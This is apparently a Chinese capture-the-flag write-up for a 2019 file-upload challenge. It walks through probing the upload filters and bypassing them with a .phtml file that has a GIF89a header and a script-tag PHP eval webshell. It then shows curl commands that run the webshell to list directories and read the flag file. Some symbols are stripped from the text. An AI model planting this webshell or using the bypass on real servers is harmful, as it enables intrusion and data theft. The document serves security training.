[极客大挑战 2019]Upload 正文一、网站侦查二、测试过滤规则三、绕过 ? 过滤四、 执行命令获取 flag核心思路总结正文一、网站侦查访问目标网站发现是一个文件上传页面提交到upload_file.php。通过 curl 查看响应头获得关键信息curl-s-vhttp://ceb1f6a05511faab4e30876f.http-ctf2.dasctf.com:8021服务器: openresty (nginx 变体)PHP 版本: 5.5.9-1ubuntu4.29上传接口:/upload_file.php上传路径:/upload/二、测试过滤规则通过多次上传测试逐步发现了服务器的三层过滤机制测试上传的文件内容服务器响应结论.php后缀?php phpinfo();?Not image!后缀名被检查.jpg/.png后缀 GIF89a 头GIF89a?php ...Dont lie to me, its not image at all!!!扩展名必须匹配文件头.gif后缀 GIF89a 头 ?phpGIF89a?php ...NO! HACKER! your file included ?内容中过滤了?.pht/.php5/.php4/.php3GIF89a?php ...NOT pht!/NOT php5!等黑名单检测额外的 PHP 扩展名.phtml后缀GIF89a?php ...NO! HACKER! your file included ?.phtml不在黑名单中但?仍然被过滤说明phtml可以上传但文件内容不能包含?三、绕过?过滤PHP 支持多种方式标记 PHP 代码?php ... ?标准方式被过滤? ... ?短标签也被过滤因为包含?script languagephp ... /script不含?可以绕过所以可以构造phtml格式的PayloadGIF89ascript languagephpeval($_POST[cmd]);/script四、 执行命令获取 flag上传webshell.phtml文件文件存储在/upload/webshell.phtml通过 POST 发送cmd参数执行 PHP 命令# 列出根目录发现 /flag 文件curl-shttp://target/upload/webshell.phtml-dcmdvar_dump(scandir(/));# 读取 flagcurl-shttp://target/upload/webshell.phtml-dcmdecho file_get_contents(/flag);核心思路总结文件上传绕过 扩展名绕过 内容校验绕过 内容过滤绕过扩展名: .phtml黑名单也许漏了它图片头: GIF89a让 getimagesize() 以为是真图片PHP 代码:script languagephp不含?绕过关键字过滤